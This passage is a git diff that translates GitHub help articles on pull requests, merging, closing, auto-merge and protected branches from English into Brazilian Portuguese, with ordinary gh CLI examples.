-People with write permissions to a repository and pull request authors can disable auto-merge for a pull request.
+As pessoas com permissões de gravação em um repositório e autores de pull request podem desabilitar o merge automático em um pull request.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
-1. In the "Pull Requests" list, click the pull request you'd like to disable auto-merge for.
-1. In the merge box, click **Disable auto-merge**.
-  ![Button to disable auto-merge](/assets/images/help/pull_requests/disable-auto-merge-button.png)
+1. Na lista "Pull Requests", clique no pull request para o qual você deseja desabilitar o merge automático.
+1. Na caixa de merge, clique em **Desabilitar o merge automático**. ![Botão para desabilitar o merge automático](/assets/images/help/pull_requests/disable-auto-merge-button.png)
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md
index 8a9ab3e637..5f5794113e 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Closing a pull request
-intro: 'You may choose to *close* a pull request without [merging it into the upstream branch](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). This can be handy if the changes proposed in the branch are no longer needed, or if another solution has been proposed in another branch.'
+title: Fechar uma pull request
+intro: 'Você pode optar por *fechar* um pull request sem [fazer merge no branch upstream](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). Isso poderá ser útil se as alterações propostas no branch não forem mais necessárias ou se outra solução tiver sido proposta em outro branch.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request
   - /articles/closing-a-pull-request
@@ -14,14 +14,14 @@ versions:
 topics:
   - Pull requests
 ---
+
 {% tip %}
 
-**Tip**: If you opened a pull request with the wrong base branch, rather than closing it out and opening a new one, you can instead change the base branch. For more information, see "[Changing the base branch of a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request)."
+**Dica**: se você abriu uma pull request com o branch base errado, em vez de fechá-la e abrir outra, é possível alterar o branch base. Para obter mais informações, consulte "[Alterar o branch base de uma pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request)".
 
 {% endtip %}
 
 {% data reusables.repositories.sidebar-pr %}
-2. In the "Pull Requests" list, click the pull request you'd like to close.
-3. At the bottom of the pull request, below the comment box, click **Close pull request**.
-  ![The close Pull Request button](/assets/images/help/pull_requests/pullrequest-closebutton.png)
-4. Optionally, [delete the branch](/articles/deleting-unused-branches). This keeps the list of branches in your repository tidy.
+2. Na lista "Pull Requests", clique na pull request da qual deseja fechar.
+3. Na parte inferior, abaixo da caixa de comentários da pull request, clique em **Close pull request** (Fechar pull request). ![O botão para fechar a pull request](/assets/images/help/pull_requests/pullrequest-closebutton.png)
+4. Opcionalmente, [exclua o branch](/articles/deleting-unused-branches). Assim, a lista de branches do repositório ficará limpa.
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
index cf9dabb2ea..bc98066bdd 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
@@ -1,6 +1,6 @@
 ---
-title: Incorporating changes from a pull request
-intro: 'You can propose changes to your work on {% data variables.product.product_name %} through pull requests. Learn how to create, manage, and merge pull requests.'
+title: Incluir alterações de uma pull request
+intro: 'É possível propor alterações em seu trabalho no {% data variables.product.product_name %} por meio de pull requests. Aprenda como criar, gerenciar e fazer merge de pull requests.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request
   - /articles/incorporating-changes-from-a-pull-request
@@ -19,5 +19,6 @@ children:
   - /adding-a-pull-request-to-the-merge-queue
   - /closing-a-pull-request
   - /reverting-a-pull-request
-shortTitle: Incorporate changes
+shortTitle: Incorporar alterações
 ---
+
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
index 3dd13c576c..9e46eb3a69 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Merging a pull request
-intro: Merge a pull request into the upstream branch when work is completed. Anyone with push access to the repository can complete the merge.
+title: Fazer merge de uma pull request
+intro: Faça merge de uma pull request no branch upstream quando o trabalho estiver finalizado. Qualquer pessoa com acesso push no repositório pode completar o merge.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request
   - /articles/merging-a-pull-request
@@ -14,67 +14,62 @@ versions:
 topics:
   - Pull requests
 ---
-## About pull request merges
 
-In a pull request, you propose that changes you've made on a head branch should be merged into a base branch. By default, any pull request can be merged at any time, unless the head branch is in conflict with the base branch. However, there may be restrictions on when you can merge a pull request into a specific branch. For example, you may only be able to merge a pull request into the default branch if required status checks are passing. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
+## Sobre merges de pull request
+
+Em uma pull request, você propõe que as alterações feitas em um branch head sejam mescladas em um branch base. Por padrão, qualquer pull request pode sofrer merge a qualquer momento, a menos que o branch head esteja em conflito com o branch base. No entanto, pode haver restrições sobre quando você puder fazer merge de um pull request em um branch específico. Por exemplo, você só pode fazer merge de um pull request no branch-padrão se as verificações de status necessárias forem aprovadas. Para obter mais informações, consulte "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches)".
 
 {% data reusables.pull_requests.you-can-auto-merge %}
 
-If the pull request has merge conflicts, or if you'd like to test the changes before merging, you can [check out the pull request locally](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally) and merge it using the command line.
+Se a pull request apresenta conflitos de merges ou se você deseja testar as alterações antes de fazer merge, é possível [fazer checkout da pull request localmente](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally) e fazer merge usando a linha de comando.
 
-You can't merge a draft pull request. For more information about draft pull requests, see "[About pull requests](/articles/about-pull-requests#draft-pull-requests)."
+Você não pode realizar o merge de um rascunho de um pull request. Para obter mais informações sobre pull requests em rascunho, consulte "[Sobre pull requests](/articles/about-pull-requests#draft-pull-requests)".
 
-The repository may be configured so that the head branch for a pull request is automatically deleted when you merge a pull request. For more information, see "[Managing the automatic deletion of branches](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)."
+O repositório pode ser configurado para que o branch principal de um pull request seja excluído automaticamente quando você faz o merge de um pull request. Para obter mais informações, consulte "[Gerenciar a exclusão automática de branches](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)".
 
 {% note %}
 
-**Note:** {% data reusables.pull_requests.retargeted-on-branch-deletion %}
-For more information, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)."
+**Observação**: {% data reusables.pull_requests.retargeted-on-branch-deletion %} Para obter mais informações, consulte "[Sobre branches](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)".
 
 {% endnote %}
 
-Pull requests are merged using [the `--no-ff` option](https://git-scm.com/docs/git-merge#_fast_forward_merge), except for [pull requests with squashed or rebased commits](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges), which are merged using the fast-forward option.
+Os pull requests sofrem merge com [a opção`--no-ff`](https://git-scm.com/docs/git-merge#_fast_forward_merge), exceto pelos [pull requests com commits com combinação por squash ou com rebase](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges), que passam por merge com a opção fast-forward.
 
 {% data reusables.pull_requests.close-issues-using-keywords %}
 
-If you decide you don't want the changes in a topic branch to be merged to the upstream branch, you can [close the pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request) without merging.
+Se decidir que não quer que as alterações em um branch de tópico sofram merge no branch upstream, é possível [fechar a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request) sem fazer merge.
 
-## Merging a pull request
-
-{% include tool-switcher %}
+## Fazer merge de uma pull request
 
 {% webui %}
 
 {% data reusables.repositories.sidebar-pr %}
-2. In the "Pull Requests" list, click the pull request you'd like to merge.
-3. Depending on the merge options enabled for your repository, you can:
-    - [Merge all of the commits into the base branch](/articles/about-pull-request-merges/) by clicking **Merge pull request**. If the **Merge pull request** option is not shown, then click the merge drop down menu and select **Create a merge commit**.
-    ![merge-pull-request-button](/assets/images/help/pull_requests/pullrequest-mergebutton.png)
-    - [Squash the commits into one commit](/articles/about-pull-request-merges/#squash-and-merge-your-pull-request-commits) by clicking the merge drop down menu, selecting **Squash and merge** and then clicking the **Squash and merge** button.
-    ![click-squash-and-merge-button](/assets/images/help/pull_requests/select-squash-and-merge-from-drop-down-menu.png)
-    - [Rebase the commits individually onto the base branch](/articles/about-pull-request-merges/#rebase-and-merge-your-pull-request-commits) by clicking the merge drop down menu, selecting **Rebase and merge** and then clicking the **Rebase and merge** button.
-    ![select-rebase-and-merge-from-drop-down-menu](/assets/images/help/pull_requests/select-rebase-and-merge-from-drop-down-menu.png)
+2. Na lista "Pull Requests", clique na pull request da qual deseja fazer merge.
+3. Dependendo das opções de merge habilitadas em seu repositório, é possível:
+    - [Fazer merge de todos os commits no branch de base](/articles/about-pull-request-merges/) ao clicar em **Merge pull request** (Fazer merge de pull request). Se a opção **Merge pull request** (Fazer merge da pull request) não está visível, clique no menu suspenso merge e selecione **Create a merge commit** (Criar um commit de merge). ![botão-merge-pull-request](/assets/images/help/pull_requests/pullrequest-mergebutton.png)
+    - [Combinar por squash os commits em um único commit](/articles/about-pull-request-merges/#squash-and-merge-your-pull-request-commits) ao clicar no menu suspenso merge, selecionar **Squash and merge** (Combinar por squash e fazer merge) e clicar no botão **Squash and merge** (Combinar por squash e fazer merge). ![botão-clicar-squash-e-merge](/assets/images/help/pull_requests/select-squash-and-merge-from-drop-down-menu.png)
+    - [Fazer rebase dos commits individualmente no branch de base](/articles/about-pull-request-merges/#rebase-and-merge-your-pull-request-commits) ao clicar no menu suspenso merge, selecionar **Rebase and merge** (Fazer rebase e merge) e clicar no botão **Rebase and merge** (Fazer rebase e merge). ![selecionar-rebase-e-merge-no-menu-suspenso](/assets/images/help/pull_requests/select-rebase-and-merge-from-drop-down-menu.png)
 
     {% note %}
 
-    **Note:** Rebase and merge will always update the committer information and create new commit SHAs. For more information, see "[About pull request merges](/articles/about-pull-request-merges#rebase-and-merge-your-pull-request-commits)."
+    **Observação:** rebase e merge sempre atualização as informações do committer e criarão SHAs de commit novos. Para obter mais informações, consulte "[Sobre merges de pull request](/articles/about-pull-request-merges#rebase-and-merge-your-pull-request-commits)".
 
     {% endnote %}
-4. If prompted, type a commit message, or accept the default message.
+4. Se solicitado, digite uma mensagem do commit ou aceite a mensagem padrão.
 
    {% data reusables.pull_requests.default-commit-message-squash-merge %}
-   ![Commit message field](/assets/images/help/pull_requests/merge_box/pullrequest-commitmessage.png)
+   ![Campo Commit message (Mensagem do commit)](/assets/images/help/pull_requests/merge_box/pullrequest-commitmessage.png)
 
 {% data reusables.files.choose-commit-email %}
 
    {% note %}
 
-   **Note:** The email selector is not available for rebase merges, which do not create a merge commit, or for squash merges, which credit the user who created the pull request as the author of the squashed commit.
+   **Observação:** O seletor de e-mail não está disponível para merge de rebase, que não cria um commit de merge, ou para merge de combinação por squash, que credita o usuário que criou a pull request como o autor do commit cuja combinação foi feita por squash.
 
    {% endnote %}
 
-6. Click **Confirm merge**, **Confirm squash and merge**, or **Confirm rebase and merge**.
-6. Optionally, [delete the branch](/articles/deleting-unused-branches). This keeps the list of branches in your repository tidy.
+6. Clique em **Confirm merge** (Confirmar merge), **Confirm squash and merge** (Confirmar combinação por squash e merge) ou **Confirm rebase and merge** (Confirmar rebase e merge).
+6. Opcionalmente, [exclua o branch](/articles/deleting-unused-branches). Assim, a lista de branches do repositório ficará limpa.
 
 {% endwebui %}
 
@@ -82,15 +77,15 @@ If you decide you don't want the changes in a topic branch to be merged to the u
 
 {% data reusables.cli.cli-learn-more %}
 
-To merge a pull request, use the `gh pr merge` subcommand. Replace `pull-request` with the number, URL, or head branch of the pull request.
+Para fazer merge de um pull request, use o subcomando `gh pr merge`. Substitua `pull request` pelo número, URL ou branch principal do pull request.
 
 ```shell
 gh pr merge <em>pull-request</em>
 ```
 
-Follow the interactive prompts to complete the merge. For more information about the merge methods that you can choose, see "[About pull request merges](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)."
+Siga as instruções interativas para realizar o merge. Para obter mais informações sobre os métodos de merge que você pode escolher, consulte "[Sobre merges do pull request](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)".
 
-Alternatively, you can use flags to skip the interactive prompts. For example, this command will squash the commits into a single commit with the commit message "my squash commit", merge the squashed commit into the base branch, and then delete the local and remote branch.
+Como alternativa, você pode usar sinalizadores para ignorar as instruções interativas. Por exemplo, esse comando irá fazer a combinação por squash dos commits em um único commit com a mensagem de "my squash commit", faça o merge do commit combinado por squash no branch de base e exclua o branch local e o remoto.
 
 ```shell
 gh pr merge 523 --squash --body "my squash commit" --delete-branch
@@ -98,9 +93,9 @@ gh pr merge 523 --squash --body "my squash commit" --delete-branch
 
 {% endcli %}
 
-## Further reading
+## Leia mais
 
-- "[Reverting a pull request](/articles/reverting-a-pull-request)"
-- "[Syncing your branch](/desktop/guides/contributing-to-projects/syncing-your-branch/)" using {% data variables.product.prodname_desktop %}
-- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)"
-- "[Addressing merge conflicts](/github/collaborating-with-pull-requests/addressing-merge-conflicts)"
+- "[Reverter uma pull request](/articles/reverting-a-pull-request)"
+- "[Sincronizar seu branch](/desktop/guides/contributing-to-projects/syncing-your-branch/)" usando o {% data variables.product.prodname_desktop %}
+- "[Sobre merges de pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)"
+- "[Solucionar conflitos de merge](/github/collaborating-with-pull-requests/addressing-merge-conflicts)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/index.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/index.md
index 0b40a80858..a0d83f4949 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/index.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/index.md
@@ -1,6 +1,6 @@
 ---
-title: Collaborating with pull requests
-intro: 'Track and discuss changes in issues, then propose and review changes in pull requests.'
+title: Colaborando com pull requests
+intro: 'Acompanhe e discuta alterações nos problemas e, em seguida, proponha e revise alterações em pull requests.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests
   - /categories/63/articles
@@ -24,5 +24,6 @@ children:
   - /addressing-merge-conflicts
   - /reviewing-changes-in-pull-requests
   - /incorporating-changes-from-a-pull-request
-shortTitle: Collaborate with pull requests
+shortTitle: Colaborar com pull requests
 ---
+
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md
index 60c225594f..d4315e0195 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md
@@ -1,6 +1,6 @@
 ---
-title: About branches
-intro: 'Use a branch to isolate development work without affecting other branches in the repository. Each repository has one default branch, and can have multiple other branches. You can merge a branch into another branch using a pull request.'
+title: Sobre branches
+intro: Use um branch para isolar o trabalho de desenvolvimento sem afetar outros branches no repositório. Cada repositório tem um branch padrão e pode ter vários outros branches. Você pode fazer merge de um branch em outro branch usando uma pull request.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches
   - /articles/working-with-protected-branches
@@ -15,68 +15,69 @@ versions:
 topics:
   - Pull requests
 ---
-## About branches
 
-Branches allow you to develop features, fix bugs, or safely experiment with new ideas in a contained area of your repository.
+## Sobre branches
 
-You always create a branch from an existing branch. Typically, you might create a new branch from the default branch of your repository. You can then work on this new branch in isolation from changes that other people are making to the repository. A branch you create to build a feature is commonly referred to as a feature branch or topic branch. For more information, see "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository/)."
+Os branches permitem que você desenvolva recursos, corrija erros ou experimente com segurança novas ideias em uma área contida do seu repositório.
 
-You can also use a branch to publish a {% data variables.product.prodname_pages %} site. For more information, see "[About {% data variables.product.prodname_pages %}](/articles/what-is-github-pages)."
+Você sempre cria um branch a partir de um branch existente. Normalmente, você pode criar um novo branch a partir do branch-padrão do seu repositório. Você então poderá trabalhar nesse novo branch isolado das mudanças que outras pessoas estão fazendo no repositório. Um branch que você cria para produzir um recurso é comumente referido como um branch de recurso ou branch de tópico. Para obter mais informações, consulte "[Criar e excluir branches em seu repositório](/articles/creating-and-deleting-branches-within-your-repository/)".
 
-You must have write access to a repository to create a branch, open a pull request, or delete and restore branches in a pull request. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github)."
+Também é possível usar um branch para publicar um site do {% data variables.product.prodname_pages %}. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_pages %}](/articles/what-is-github-pages)".
 
-## About the default branch
+Você deve ter acesso de gravação em um repositório para criar um branch, abrir uma pull request ou excluir e restaurar branches em uma pull request. Para obter mais informações, consulte "[Permissões de acesso em {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github)."
 
-{% data reusables.branches.new-repo-default-branch %} The default branch is the branch that {% data variables.product.prodname_dotcom %} displays when anyone visits your repository. The default branch is also the initial branch that Git checks out locally when someone clones the repository. {% data reusables.branches.default-branch-automatically-base-branch %}
+## Sobre o branch-padrão
 
-By default, {% data variables.product.product_name %} names the default branch `main` in any new repository.
+{% data reusables.branches.new-repo-default-branch %} O branch-padrão é o branch que {% data variables.product.prodname_dotcom %} exibe quando alguém visita o seu repositório. O branch padrão é também o branch inicial que o Git verifica localmente quando alguém clona o repositório. {% data reusables.branches.default-branch-automatically-base-branch %}
+
+Por padrão, {% data variables.product.product_name %} nomeia o branch padrão `principal`em qualquer repositório novo.
 
 {% data reusables.branches.change-default-branch %}
 
 {% data reusables.branches.set-default-branch %}
 
-## Working with branches
+## Trabalhando com branches
 
-Once you're satisfied with your work, you can open a pull request to merge the changes in the current branch (the *head* branch) into another branch (the *base* branch). For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."
+Quando estiver satisfeito com seu trabalho, você poderá abrir uma pull request para fazer merge das alterações do branch atual (o branch *head*) com outro branch (o branch *base*). Para obter mais informações, consulte "[Sobre pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)".
 
-After a pull request has been merged, or closed, you can delete the head branch as this is no longer needed. You must have write access in the repository to delete branches. You can't delete branches that are directly associated with open pull requests. For more information, see "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)"
+Depois que uma pull request tiver sido mesclada ou fechada, você poderá excluir o branch head, já que isso não é mais necessário. Você deve ter permissão de gravação no repositório para excluir branches. Não é possível excluir branches associados diretamente a pull requests abertas. Para obter mais informações, consulte "[Excluindo e recuperando branches em uma pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)".
 
 {% data reusables.pull_requests.retargeted-on-branch-deletion %}
-The following diagrams illustrate this.
+Os seguintes diagramas ilustram isso.
 
- Here someone has created a branch called `feature1` from the `main` branch, and you've then created a branch called `feature2` from `feature1`. There are open pull requests for both branches. The arrows indicate the current base branch for each pull request. At this point, `feature1` is the base branch for `feature2`. If the pull request for `feature2` is merged now, the `feature2` branch will be merged into `feature1`.
+ Aqui alguém criou um branch chamado `feature1` a partir do branch `principal`, e você então criou um branch chamado `feature2` a partir do `feature1`. Existem pull requests abertas para ambos os branches. As setas indicam o branch base atual para cada pull request. Neste ponto, `feature1` é o branch base para `feature2`. Se a pull request para `feature2` for mesclada agora, o branch `feature2` será mesclado no `feature1`.
 
- ![merge-pull-request-button](/assets/images/help/branches/pr-retargeting-diagram1.png)
+ ![botão-merge-pull-request](/assets/images/help/branches/pr-retargeting-diagram1.png)
 
-In the next diagram, someone has merged the pull request for `feature1` into the `main` branch, and they have deleted the `feature1` branch. As a result, {% data variables.product.prodname_dotcom %} has automatically retargeted the pull request for `feature2` so that its base branch is now `main`.
+No próximo diagrama, alguém fez merge do pull request para `feature1` no branch `principal`, e eles excluíram o branch `feature1`. Como resultado, o {% data variables.product.prodname_dotcom %} redirecionou automaticamente o pull request para `feature2` para que seu branch base seja agora `principal`.
 
- ![merge-pull-request-button](/assets/images/help/branches/pr-retargeting-diagram2.png)
+ ![botão-merge-pull-request](/assets/images/help/branches/pr-retargeting-diagram2.png)
 
-Now when you merge the `feature2` pull request, it'll be merged into the `main` branch.
+Agora, quando você faz merge do pull request `feature2`, ele será mesclado com o branch `principal`.
 
-## Working with protected branches
+## Trabalhar com branches protegidos
 
-Repository administrators can enable protections on a branch. If you're working on a branch that's protected, you won't be able to delete or force push to the branch. Repository administrators can additionally enable several other protected branch settings to enforce various workflows before a branch can be merged.
+Os administradores de repositório podem habilitar proteções em um branch. Se estiver trabalhando em um branch que é protegido, não será possível excluir nem forçar o push no branch. Os administradores do repositório podem habilitar, de modo adicional, várias outras configurações de branch protegido para aplicar vários fluxos de trabalho antes que um branch passe por um merge.
 
 {% note %}
 
-**Note:** If you're a repository administrator, you can merge pull requests on branches with branch protections enabled even if the pull request does not meet the requirements, unless branch protections have been set to "Include administrators."
+**Observação:** se você for administrador de um repositório, será possível fazer merge de pull requests em branches com proteções de branch habilitadas, mesmo se a pull request não atender aos requisitos; a não ser que as proteções de branch tenham sido definidas para "Include administrators" (Incluir administradores).
 
 {% endnote %}
 
-To see if your pull request can be merged, look in the merge box at the bottom of the pull request's **Conversation** tab. For more information, see "[About protected branches](/articles/about-protected-branches)."
+Para verificar se é possível fazer merge de uma pull request, observe a caixa de merge na parte inferior da guia **Conversation (Conversa)** da pull request. Para obter mais informações, consulte "[Sobre branches protegidos](/articles/about-protected-branches)".
 
-When a branch is protected:
+Quando um branch estiver protegido:
 
-- You won't be able to delete or force push to the branch.
-- If required status checks are enabled on the branch, you won't be able to merge changes into the branch until all of the required CI tests pass. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)."
-- If required pull request reviews are enabled on the branch, you won't be able to merge changes into the branch until all requirements in the pull request review policy have been met. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)."
-- If required review from a code owner is enabled on a branch, and a pull request modifies code that has an owner, a code owner must approve the pull request before it can be merged. For more information, see "[About code owners](/articles/about-code-owners)."
-- If required commit signing is enabled on a branch, you won't be able to push any commits to the branch that are not signed and verified. For more information, see "[About commit signature verification](/articles/about-commit-signature-verification)" and "[About protected branches](/github/administering-a-repository/about-protected-branches#require-signed-commits)."
-- If you use {% data variables.product.prodname_dotcom %}'s conflict editor to fix conflicts for a pull request that you created from a protected branch, {% data variables.product.prodname_dotcom %}  helps you to create an alternative branch for the pull request, so that your resolution of the conflicts can be merged. For more information, see "[Resolving a merge conflict on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-on-github)."
+- Você não poderá excluir nem fazer um push forçado no branch.
+- Se as verificações de status obrigatórias forem habilitadas no branch, não será possível fazer merge das alterações no branch até que todos os testes de CI obrigatórios sejam aprovados. Para obter mais informações, consulte "[Sobre verificações de status](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)".
+- Se as revisões obrigatórias de pull request forem habilitadas no branch, não será possível fazer merge de alterações no branch até que todos os requisitos na política da revisão de pull request tenham sido atendidos. Para obter mais informações, consulte "[Fazer merge de uma pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)".
+- Se a revisão obrigatória de um proprietário do código for habilitada em um branch, e uma pull request modificar o código que tem um proprietário, um proprietário do código deverá aprovar a pull request para que ela possa passar por merge. Para obter mais informações, consulte "[Sobre proprietários do código](/articles/about-code-owners)".
+- Se a assinatura de commit obrigatória for habilitada em um branch, não será possível fazer push de qualquer commit no branch que não esteja assinado e verificado. Para obter mais informações, consulte "[Sobre verificação de assinatura de commit](/articles/about-commit-signature-verification)" e "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches#require-signed-commits).
+- Se você usar o editor de conflitos do {% data variables.product.prodname_dotcom %}para corrigir conflitos para uma solicitação de pull request que você criou a partir de um branch protegido, {% data variables.product.prodname_dotcom %} ajudará você a criar um branch alternativo para a solicitação de pull request, para que a resolução dos conflitos possa ser mesclada. Para obter mais informações, consulte "[Resolvendo um conflito de merge no {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-on-github)".
 
-## Further reading
+## Leia mais
 
-- "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)"
-- "[Branch](/articles/github-glossary/#branch)" in the {% data variables.product.prodname_dotcom %} glossary
-- "[Branches in a Nutshell](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell)" in the Git documentation
+- "[Sobre pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)"
+- "[Branch](/articles/github-glossary/#branch)" no glossário do {% data variables.product.prodname_dotcom %}
+- "[Branches em um Nutshell](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell)" na documentação do Git
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md
index bb13e13a07..e8b5096188 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md
@@ -1,6 +1,6 @@
 ---
-title: About comparing branches in pull requests
-intro: Pull requests display diffs to compare the changes you made in your topic branch against the base branch that you want to merge your changes into.
+title: Sobre como comparar branches nas pull requests
+intro: As pull requests exibem diffs para comparar as alterações feitas no branch de tópico com o branch base com o qual você deseja fazer merge.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests
   - /articles/about-comparing-branches-in-pull-requests
@@ -13,60 +13,60 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Compare branches
+shortTitle: Comparar branches
 ---
+
 {% note %}
 
-**Note:** When creating your pull request, you can change the base branch that you're comparing your changes against. For more information, see "[Creating a pull request](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository)."
+**Observação:** ao criar a pull request, é possível alterar o branch base com o qual você está comparando suas alterações. Para obter mais informações, consulte "[Criar uma pull request](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository)".
 
 {% endnote %}
 
-You can view proposed changes in a pull request in the Files changed tab.
-![Pull Request Files changed tab](/assets/images/help/pull_requests/pull-request-tabs-changed-files.png)
+É possível exibir alterações propostas em uma pull request na aba Arquivos alterados. ![Guia Files changed (Arquivos alterados) da pull request](/assets/images/help/pull_requests/pull-request-tabs-changed-files.png)
 
-Rather than viewing the commits themselves, you can view the proposed changes as they'll appear in the files once the pull request is merged. The files appear in alphabetical order within the Files changed tab. Additions to the files appear in green and are prefaced by a `+` sign while content that has been removed appears in red and is prefaced by a `-` sign.
+Em vez de exibir os commits em si, você pode ver as alterações propostas como elas aparecerão nos arquivos assim que a pull request passar pelo merge. Os arquivos aparecem em ordem alfabética na guia Files changed (Arquivos alterados). As adições aos arquivos aparecem em verde e são precedidas por um sinal de `+`, enquanto o conteúdo que foi removido aparece em vermelho e é precedido por um sinal de `-`.
 
-## Diff view options
+## Opções de exibição de diff
 
 {% tip %}
 
-**Tip:** If you're having a hard time understanding the context of a change, you can click **View** in the Files changed tab to view the whole file with the proposed changes.
